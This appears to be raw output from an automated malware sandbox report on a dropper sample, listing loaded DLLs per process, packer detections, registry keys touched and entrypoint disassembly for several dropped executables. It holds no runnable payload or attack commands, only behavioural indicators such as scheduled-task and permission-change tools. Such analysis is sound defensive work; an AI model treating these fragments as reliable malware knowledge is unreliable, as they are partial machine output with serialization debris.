"%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\NTDLL.DLL" at base 0 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.SECURITY\93D03EB9812405FA70E89D4EFD5F7E14\SYSTEM.SECURITY.NI.DLL" at base 5bc90000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\PSAPI.DLL" at base 0 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\PRESENTATIONCORE\V4.0_4.0.0.0__31BF3856AD364E35\VCRUNTIME140_CLR0400.DLL" at base 0 "AppLaunch.exe" loaded module "VCRUNTIME140_CLR0400.DLL" at base 6b760000 "5Ll6yV5.exe" loaded module "OLEAUT32.DLL" at base 75d80000 "5Ll6yV5.exe" loaded module "ADVAPI32.DLL" at base 77760000 "5Ll6yV5.exe" loaded module "SHELL32.DLL" at base 76830000 "5Ll6yV5.exe" loaded module "CLBCATQ.DLL" at base 75e20000 "5Ll6yV5.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 74530000 "5Ll6yV5.exe" loaded module "NTMARTA.DLL" at base 74810000 "5Ll6yV5.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 76240000 "5Ll6yV5.exe" loaded module "PROFAPI.DLL" at base 759e0000 "5Ll6yV5.exe" loaded module "APPHELP.DLL" at base 75870000 "5Ll6yV5.exe" loaded module "%WINDIR%\SYSTEM32\SHDOCVW.DLL" at base 6ea20000 "5Ll6yV5.exe" loaded module "%WINDIR%\SYSTEM32\SHELL32.DLL" at base 76830000 "5Ll6yV5.exe" loaded module "PROPSYS.DLL" at base 74530000 "5Ll6yV5.exe" loaded module "%WINDIR%\SYSTEM32\URLMON.DLL" at base 77970000 "5Ll6yV5.exe" loaded module "SECUR32.DLL" at base 75700000 "5Ll6yV5.exe" loaded module "RPCRT4.DLL" at base 77c60000 "5Ll6yV5.exe" loaded module "API-MS-WIN-DOWNLEVEL-SHLWAPI-L1-1-0.DLL" at base 75a60000 "5Ll6yV5.exe" loaded module "SETUPAPI.DLL" at base 775c0000 "5Ll6yV5.exe" loaded module "API-MS-WIN-DOWNLEVEL-ADVAPI32-L2-1-0.DLL" at base 70380000 "5Ll6yV5.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 75870000 "5Ll6yV5.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 0 "explothe.exe" loaded module "COMCTL32.DLL" at base 74870000 "explothe.exe" loaded module "OLEAUT32.DLL" at base 75d80000 "explothe.exe" loaded module "ADVAPI32.DLL" at base 77760000 "explothe.exe" loaded module "APPHELP.DLL" at base 75870000 "explothe.exe" loaded module "CLBCATQ.DLL" at base 75e20000 "explothe.exe" loaded module "KERNEL32.DLL" at base 77480000 "explothe.exe" loaded module "%WINDIR%\SYSTEM32\IEFRAME.DLL" at base 6a830000 "explothe.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 74530000 "explothe.exe" loaded module "NTMARTA.DLL" at base 74810000 "explothe.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 76240000 "explothe.exe" loaded module "PROFAPI.DLL" at base 759e0000 "explothe.exe" loaded module "%WINDIR%\SYSTEM32\URLMON.DLL" at base 77970000 "explothe.exe" loaded module "SECUR32.DLL" at base 75700000 "explothe.exe" loaded module "RPCRT4.DLL" at base 77c60000 "explothe.exe" loaded module "SETUPAPI.DLL" at base 775c0000 "explothe.exe" loaded module "API-MS-WIN-DOWNLEVEL-SHLWAPI-L1-1-0.DLL" at base 75a60000 "explothe.exe" loaded module "SHELL32.DLL" at base 76830000 "explothe.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 75870000 "explothe.exe" loaded module "API-MS-WIN-DOWNLEVEL-ADVAPI32-L2-1-0.DLL" at base 70380000 "explothe.exe" loaded module "WS2_32.DLL" at base 75fb0000 "explothe.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 75390000 "explothe.exe" loaded module "API-MS-WIN-DOWNLEVEL-SHLWAPI-L2-1-0.DLL" at base 6be10000 "explothe.exe" loaded module "%WINDIR%\SYSTEM32\WSHTCPIP.DLL" at base 74ef0000 "explothe.exe" loaded module "IPHLPAPI.DLL" at base 73d20000 "explothe.exe" loaded module "DNSAPI.DLL" at base 75250000 "explothe.exe" loaded module "DHCPCSVC.DLL" at base 73b60000 "explothe.exe" loaded module "CRYPTSP.DLL" at base 753d0000 "explothe.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 75160000 "explothe.exe" loaded module "CRYPTBASE.DLL" at base 758c0000 "explothe.exe" loaded module "RPCRTREMOTE.DLL" at base 75960000 "explothe.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 73c50000 "explothe.exe" loaded module "%WINDIR%\SYSTEM32\WS2_32" at base 75fb0000 "explothe.exe" loaded module "%WINDIR%\SYSTEM32\WININET.DLL" at base 76260000 "explothe.exe" loaded module "OLE32.DLL" at base 77810000 "explothe.exe" loaded module "%WINDIR%\SYSTEM32\NETPROFM.DLL" at base 6e0a0000 "explothe.exe" loaded module "%WINDIR%\SYSTEM32\NPMPROXY.DLL" at base 6d280000 "explothe.exe" loaded module "%WINDIR%\SYSTEM32\OLEAUT32.DLL" at base 75d80000 "schtasks.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 71480000 "schtasks.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "schtasks.exe" loaded module "KERNEL32" at base 77480000 "schtasks.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "schtasks.exe" loaded module "VERSION.DLL" at base 74e60000 "schtasks.exe" loaded module "KERNEL32.DLL" at base 77480000 "schtasks.exe" loaded module "CRYPTBASE.DLL" at base 758c0000 "schtasks.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 746a0000 "schtasks.exe" loaded module "RPCRT4.DLL" at base 77c60000 "schtasks.exe" loaded module "API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL" at base 76240000 "schtasks.exe" loaded module "ADVAPI32.DLL" at base 77760000 "schtasks.exe" loaded module "CLBCATQ.DLL" at base 75e20000 "schtasks.exe" loaded module "%WINDIR%\SYSTEM32\TASKSCHD.DLL" at base 73fe0000 "schtasks.exe" loaded module "SSPICLI.DLL" at base 75850000 "schtasks.exe" loaded module "XMLLITE.DLL" at base 741f0000 "cmd.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 71480000 "cmd.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "cmd.exe" loaded module "KERNEL32" at base 77480000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "cmd.exe" loaded module "KERNEL32.DLL" at base 77480000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 75870000 "cacls.exe" loaded module "KERNEL32.DLL" at base 77480000 "cacls.exe" loaded module "API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL" at base 76240000 "cacls.exe" loaded module "RPCRT4.DLL" at base 77c60000 "6XA0cz3.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 746a0000 "6XA0cz3.exe" loaded module "KERNEL32.DLL" at base 77480000 "6XA0cz3.exe" loaded module "COMCTL32.DLL" at base 74870000 "6XA0cz3.exe" loaded module "ADVAPI32.DLL" at base 77760000 "6XA0cz3.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 76240000 "6XA0cz3.exe" loaded module "PROFAPI.DLL" at base 759e0000 "cacls.exe" loaded module "GDI32.DLL" at base 75eb0000 "cacls.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 71480000 "cacls.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "cacls.exe" loaded module "KERNEL32" at base 77480000 "cacls.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "cmd.exe" loaded module "ADVAPI32.DLL" at base 77760000 "cmd.exe" loaded module "SHELL32.DLL" at base 76830000 "cmd.exe" loaded module "COMCTL32.DLL" at base 74870000 "cmd.exe" loaded module "OLE32.DLL" at base 77810000 "cmd.exe" loaded module "CRYPTBASE.DLL" at base 758c0000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 746a0000 "cmd.exe" loaded module "PROPSYS.DLL" at base 74530000 "cmd.exe" loaded module "OLEAUT32.DLL" at base 75d80000 "cmd.exe" loaded module "APPHELP.DLL" at base 75870000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\IEFRAME.DLL" at base 6a830000 "cmd.exe" loaded module "API-MS-WIN-DOWNLEVEL-OLE32-L1-1-0.DLL" at base 75a00000 "cmd.exe" loaded module "API-MS-WIN-DOWNLEVEL-ADVAPI32-L1-1-0.DLL" at base 75b40000 "cmd.exe" loaded module "URLMON.DLL" at base 77970000 "cmd.exe" loaded module "API-MS-WIN-DOWNLEVEL-SHLWAPI-L2-1-0.DLL" at base 6be10000 "cmd.exe" loaded module "%PROGRAMFILES%\INTERNET EXPLORER\IEPROXY.DLL" at base 6be20000 "cmd.exe" loaded module "IERTUTIL.DLL" at base 75ff0000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\SHELL32.DLL" at base 76830000 "cmd.exe" loaded module "USER32.DLL" at base 76760000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 77480000 "cmd.exe" loaded module "SETUPAPI.DLL" at base 775c0000 "cmd.exe" loaded module "RPCRT4.DLL" at base 77c60000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 74530000 "rundll32.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 71480000 "rundll32.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "rundll32.exe" loaded module "KERNEL32" at base 77480000 "rundll32.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "rundll32.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 746a0000 "rundll32.exe" loaded module "DWMAPI.DLL" at base 74220000 "explothe.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7148000045:T44f,"922d837e2362b26f6f5959eb3dee8ac0.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 77C60000 "OT6Dd58.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 77C60000 "pt9KK68.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 77C60000 "Vd6Yw65.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 77C60000 "vQ1qt36.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 77C60000 "3Hf64Pr.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 77C60000 "AppLaunch.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 77C60000 "4na449fr.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 77C60000 "5Ll6yV5.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 77C60000 "explothe.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 77C60000 "schtasks.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 77C60000 "cmd.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 77C60000 "cacls.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 77C60000 "6XA0cz3.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 77C60000 "rundll32.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 77C6000046:T120d,"922d837e2362b26f6f5959eb3dee8ac0.exe" was detected as "Microsoft Cabinet" and name: "sfx" "922d837e2362b26f6f5959eb3dee8ac0.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "922d837e2362b26f6f5959eb3dee8ac0.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "922d837e2362b26f6f5959eb3dee8ac0.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "922d837e2362b26f6f5959eb3dee8ac0.exe" was detected as "Microsoft Linker" and name: "Linker" "OT6Dd58.exe" was detected as "Microsoft Cabinet" and name: "sfx" "OT6Dd58.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "OT6Dd58.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "OT6Dd58.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "OT6Dd58.exe" was detected as "Microsoft Linker" and name: "Linker" "4na449fr.exe" was detected as "Microsoft Cabinet" and name: "sfx" "4na449fr.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "4na449fr.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "4na449fr.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "4na449fr.exe" was detected as "Microsoft Linker" and name: "Linker" "pt9KK68.exe" was detected as "Microsoft Cabinet" and name: "sfx" "pt9KK68.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "pt9KK68.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "pt9KK68.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "pt9KK68.exe" was detected as "Microsoft Linker" and name: "Linker" "3Hf64Pr.exe" was detected as "Microsoft Cabinet" and name: "sfx" "3Hf64Pr.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "3Hf64Pr.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "3Hf64Pr.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "3Hf64Pr.exe" was detected as "Microsoft Linker" and name: "Linker" "Vd6Yw65.exe" was detected as "Microsoft Cabinet" and name: "sfx" "Vd6Yw65.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "Vd6Yw65.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "Vd6Yw65.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "Vd6Yw65.exe" was detected as "Microsoft Linker" and name: "Linker" "vQ1qt36.exe" was detected as "Microsoft Cabinet" and name: "sfx" "vQ1qt36.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "vQ1qt36.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "vQ1qt36.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "vQ1qt36.exe" was detected as "Microsoft Linker" and name: "Linker" "1FX99DP0.exe" was detected as "Microsoft Cabinet" and name: "sfx" "1FX99DP0.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "1FX99DP0.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "1FX99DP0.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "1FX99DP0.exe" was detected as "Microsoft Linker" and name: "Linker" "5Ll6yV5.exe" was detected as "Microsoft Cabinet" and name: "sfx" "5Ll6yV5.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "5Ll6yV5.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "5Ll6yV5.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "5Ll6yV5.exe" was detected as "Microsoft Linker" and name: "Linker" "2Td9134.exe" was detected as "Microsoft Cabinet" and name: "sfx" "2Td9134.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "2Td9134.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "2Td9134.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "2Td9134.exe" was detected as "Microsoft Linker" and name: "Linker" "clip_1_.dll" was detected as "Microsoft Cabinet" and name: "sfx" "clip_1_.dll" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "clip_1_.dll" was detected as "Microsoft Visual C/C++" and name: "Compiler" "clip_1_.dll" was detected as "Microsoft Cabinet File" and name: "Archive" "clip_1_.dll" was detected as "Microsoft Linker" and name: "Linker" "6XA0cz3.exe" was detected as "Microsoft Cabinet" and name: "sfx" "6XA0cz3.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "6XA0cz3.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "6XA0cz3.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "6XA0cz3.exe" was detected as "Microsoft Linker" and name: "Linker"47:T12ae,"AppLaunch.exe" touched "WBEM Locator" (Path: "HKCU\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\INPROCSERVER32") "AppLaunch.exe" touched "Windows Management and Instrumentation" (Path: "HKCU\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}") "AppLaunch.exe" touched "Microsoft WBEM (non)Standard Marshaling for IEnumWbemClassObject" (Path: "HKCU\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}") "AppLaunch.exe" touched "WbemDefaultPathParser" (Path: "HKCU\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\INPROCSERVER32") "AppLaunch.exe" touched "PSFactoryBuffer" (Path: "HKCU\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\INPROCSERVER32") "5Ll6yV5.exe" touched "Computer" (Path: "HKCU\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "5Ll6yV5.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}") "5Ll6yV5.exe" touched "UsersFiles" (Path: "HKCU\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER") "5Ll6yV5.exe" touched "Property System Both Class Factory" (Path: "HKCU\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}") "5Ll6yV5.exe" touched "delegate folder that appears in Users Files Folder" (Path: "HKCU\CLSID\{DFFACDC5-679F-4156-8947-C5C76BC0B67F}\SHELLFOLDER") "5Ll6yV5.exe" touched "Shell File System Folder" (Path: "HKCU\CLSID\{0E5AAE11-A475-4C5B-AB00-C66DE400274E}\INPROCSERVER32") "5Ll6yV5.exe" touched "Security Manager" (Path: "HKCU\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\TREATAS") "explothe.exe" touched "WinInetBroker Class" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{C39EE728-D419-4BD4-A3EF-EDA059DBD935}") "explothe.exe" touched "Network List Manager" (Path: "HKCU\CLSID\{A47979D2-C419-11D9-A5B4-001185AD2B89}\LOCALSERVER32") "explothe.exe" touched "NetworkListManager" (Path: "HKCU\CLSID\{DCB00C01-570F-4A9B-8D69-199FDBA5723B}\TREATAS") "explothe.exe" touched "Network" (Path: "HKCU\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER") "explothe.exe" touched "Recycle Bin" (Path: "HKCU\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\SHELLFOLDER") "explothe.exe" touched "Control Panel" (Path: "HKCU\CLSID\{26EE0668-A00A-44D7-9371-BEB064C98683}\SHELLFOLDER") "explothe.exe" touched "UsersLibraries" (Path: "HKCU\CLSID\{031E4825-7B94-4DC3-B131-E946B44C8DD5}\SHELLFOLDER") "explothe.exe" touched "CLSID_SearchFolder" (Path: "HKCU\CLSID\{04731B67-D933-450A-90E6-4ACD2E9408FE}\SHELLFOLDER") "explothe.exe" touched "Microsoft OneNote Namespace Extension for Windows Desktop Search" (Path: "HKCU\CLSID\{0875DCB6-C686-4243-9432-ADCCF0B9F2D7}\SHELLFOLDER") "explothe.exe" touched "IE History and Feeds Shell Data Source for Windows Search" (Path: "HKCU\CLSID\{11016101-E366-4D22-BC06-4ADA335C892B}\SHELLFOLDER") "explothe.exe" touched "@C:\Program Files (x86)\Microsoft Office\Office15\MAPISHELL.DLL,-110" (Path: "HKCU\CLSID\{138508BC-1E03-49EA-9C8F-EA9E1D05D65D}\SHELLFOLDER") "explothe.exe" touched "Public Folder" (Path: "HKCU\CLSID\{4336A54D-038B-4685-AB02-99BB52D3FB8B}\SHELLFOLDER") "explothe.exe" touched "Control Panel command object for Start menu and desktop" (Path: "HKCU\CLSID\{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}\SHELLFOLDER") "explothe.exe" touched "@%systemroot%\system32\mssvp.dll,-110" (Path: "HKCU\CLSID\{89D83576-6BD1-4C86-9454-BEB04E94C819}\SHELLFOLDER") "explothe.exe" touched "DXP" (Path: "HKCU\CLSID\{8FD8B88D-30E1-4F25-AC2B-553D3D65F0EA}\SHELLFOLDER") "explothe.exe" touched "CLSID_SearchHome" (Path: "HKCU\CLSID\{9343812E-1C37-4A49-A12E-4B2D810D956B}\SHELLFOLDER") "explothe.exe" touched "Windows Search Service Media Center Namespace Extension Handler" (Path: "HKCU\CLSID\{98D99750-0B8A-4C59-9151-589053683D73}\SHELLFOLDER") "explothe.exe" touched "Other Users Folder" (Path: "HKCU\CLSID\{B4FB3F98-C1EA-428D-A78A-D1F5659CBA93}\SHELLFOLDER") "explothe.exe" touched "@%systemroot%\system32\mssvp.dll,-112" (Path: "HKCU\CLSID\{BD7A2E7B-21CB-41B2-A086-B309680C6B7E}\SHELLFOLDER") "explothe.exe" touched "CLSID_StartMenuProviderFolder" (Path: "HKCU\CLSID\{DAF95313-E44D-46AF-BE1B-CBACEA2C3065}\SHELLFOLDER") "explothe.exe" touched "CLSID_StartMenuPathCompleteProviderFolder" (Path: "HKCU\CLSID\{E345F35F-9397-435C-8F95-4E922C26259E}\SHELLFOLDER") "explothe.exe" touched "Games Explorer" (Path: "HKCU\CLSID\{ED228FDF-9EA8-4870-83B1-96B02CFE0D52}\SHELLFOLDER") "explothe.exe" touched "Computers and Devices" (Path: "HKCU\CLSID\{F02C1A0D-BE21-4350-88B0-7367FC96EF3C}\SHELLFOLDER") "explothe.exe" touched "Sticky Notes Namespace Extension for Windows Desktop Search" (Path: "HKCU\CLSID\{F3F5824C-AD58-4728-AF59-A1EBE3392799}\SHELLFOLDER") "schtasks.exe" touched "TaskScheduler class" (Path: "HKCU\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}") "cmd.exe" touched "Application Registration" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{591209C7-767B-42B2-9FBA-44EE4615F2C7}")48:T18bc,"922d837e2362b26f6f5959eb3dee8ac0.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "OT6Dd58.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "4na449fr.exe" file has an entrypoint instructions - "jmp 0x4449ea,jmp 0x45bba4,jmp 0x44d070,jmp 0x438c0c,jmp 0x424a28,jmp 0x4a7a20,jmp 0x4390ca,jmp 0x45c987,jmp 0x4af349,jmp 0x41f4e1,jmp 0x445b48,jmp 0x41e133,jmp 0x455a10,jmp 0x42fa0b,jmp 0x456e46,jmp 0x420d95,jmp 0x41d19c,jmp 0x49573f,jmp 0x413ce0,jmp 0x4570d7," "pt9KK68.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "3Hf64Pr.exe" file has an entrypoint instructions - "jmp 0x444a0a,jmp 0x45bbc4,jmp 0x44d090,jmp 0x438c2c,jmp 0x424a48,jmp 0x4a7a40,jmp 0x4390ea,jmp 0x45c9a7,jmp 0x4af369,jmp 0x41f501,jmp 0x445b68,jmp 0x41e153,jmp 0x455a30,jmp 0x42fa2b,jmp 0x456e66,jmp 0x420db5,jmp 0x41d1bc,jmp 0x49575f,jmp 0x413ce0,jmp 0x4570f7," "Vd6Yw65.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "vQ1qt36.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "1FX99DP0.exe" file has an entrypoint instructions - "sub rsp, 0x28,call 0x14000b078,add rsp, 0x28,jmp 0x14000a63c,int3 ,int3 ,sub rsp, 0x28,call 0x14000b41c,test eax, eax,je 0x14000a7fa,mov rax, qword ptr gs:[0x30],mov rcx, qword ptr [rax + 8],jmp 0x14000a7ed,cmp rcx, rax,je 0x14000a801,xor eax, eax,lock cmpxchg qword ptr [rip + 0x35e70], rcx,jne 0x14000a7e8,xor al, al,add rsp, 0x28,ret ,mov al, 1,jmp 0x14000a7fc,int3 ,int3 ,int3 ,push rbx,sub rsp, 0x20,movzx eax, byte ptr [rip + 0x35e5b],test ecx, ecx,mov ebx, 1," "5Ll6yV5.exe" file has an entrypoint instructions - "call 0x414888,jmp 0x41427f,jmp 0x4186fa,push ebp,mov ebp, esp,sub esp, 0x324,push ebx,push 0x17,call 0x4273e3,test eax, eax,je 0x41442a,mov ecx, dword ptr [ebp + 8],int 0x29,push 3,call 0x4145d7,mov dword ptr [esp], 0x2cc,lea eax, [ebp - 0x324],push 0,push eax,call 0x414ec0,add esp, 0xc,mov dword ptr [ebp - 0x274], eax,mov dword ptr [ebp - 0x278], ecx,mov dword ptr [ebp - 0x27c], edx,mov dword ptr [ebp - 0x280], ebx," "2Td9134.exe" file has an entrypoint instructions - "call 0x4014e9,jmp 0x4010c5,push ebp,mov ebp, esp,mov eax, dword ptr [ebp + 8],push esi,mov ecx, dword ptr [eax + 0x3c],add ecx, eax,movzx eax, word ptr [ecx + 0x14],lea edx, [ecx + 0x18],add edx, eax,movzx eax, word ptr [ecx + 6],imul esi, eax, 0x28,add esi, edx,cmp edx, esi,je 0x401286,mov ecx, dword ptr [ebp + 0xc],cmp ecx, dword ptr [edx + 0xc],jb 0x40127f,mov eax, dword ptr [edx + 8],add eax, dword ptr [edx + 0xc],cmp ecx, eax,jb 0x40128b,add edx, 0x28,cmp edx, esi,jne 0x401270,xor eax, eax,pop esi,pop ebp,ret ,mov eax, edx,jmp 0x401288,push esi,call 0x401a29,test eax, eax,je 0x4012b9,mov eax, dword ptr fs:[0x18],mov esi, 0x42bd74," "clip_1_.dll" file has an entrypoint instructions - "push ebp,mov ebp, esp,cmp dword ptr [ebp + 0xc], 1,jne 0x10003e0e,call 0x100041f9,push dword ptr [ebp + 0x10],push dword ptr [ebp + 0xc],push dword ptr [ebp + 8],call 0x10003ccf,add esp, 0xc,pop ebp,ret 0xc,jmp 0x10006e36,push ebp,mov ebp, esp,sub esp, 0xc,lea ecx, [ebp - 0xc],call 0x100035f8,push 0x10014590,lea eax, [ebp - 0xc],push eax,call 0x10004497,int3 ,push ebp,mov ebp, esp,and dword ptr 